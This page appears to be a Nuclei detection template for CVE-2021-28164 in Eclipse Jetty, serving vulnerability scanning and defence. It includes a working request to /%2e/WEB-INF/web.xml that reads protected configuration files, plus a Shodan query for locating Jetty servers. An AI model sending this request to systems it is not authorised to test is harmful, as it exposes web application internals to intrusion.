Eclipse Jetty - Information Disclosure

ID: CVE-2021-28164

Severity: medium

Author: noamrathaus

Tags: cve2021,cve,packetstorm,vulhub,jetty,exposure,eclipse

Description

Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224 is susceptible to improper authorization. The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. An attacker can access sensitive information regarding the implementation of a web application.

YAML Source

id: CVE-2021-28164

info:
  name: Eclipse Jetty - Information Disclosure
  author: noamrathaus
  severity: medium
  description: |
    Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224 is susceptible to improper authorization. The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. An attacker can access sensitive information regarding the implementation of a web application.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by the Eclipse Jetty project to fix the information disclosure vulnerability.
  reference:
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
    - https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
    - https://lists.apache.org/thread.html/r780c3c210a05c5bf7b4671303f46afc3fe56758e92864e1a5f0590d0@%3Cjira.kafka.apache.org%3E
    - http://packetstormsecurity.com/files/164590/Jetty-9.4.37.v20210219-Information-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/cve-2021-28164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28164
    cwe-id: CWE-200,NVD-CWE-Other
    epss-score: 0.04765
    epss-percentile: 0.92672
    cpe: cpe:2.3:a:eclipse:jetty:9.4.37:20210219:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eclipse
    product: jetty
    shodan-query: cpe:"cpe:2.3:a:eclipse:jetty"
  tags: cve2021,cve,packetstorm,vulhub,jetty,exposure,eclipse
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/WEB-INF/web.xml"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "!contains_all(body, '</web-app>', 'java.sun.com')"
          - "!contains_all(header, 'application/xml')"
          - "status_code != 200"
          - "status_code != 404"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/%2e/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '</web-app>', 'java.sun.com')"
          - "contains_all(header, 'application/xml')"
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100ad33d306e361e6fc59662c7e78ead386c2e521cf19cfd4a0c35ae8563a5b0bf30221008b494f1811c1dfd0cbbbf1f1d393951e9869725781a31771ae347f73c4036fe1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-28164.yaml"

View on Github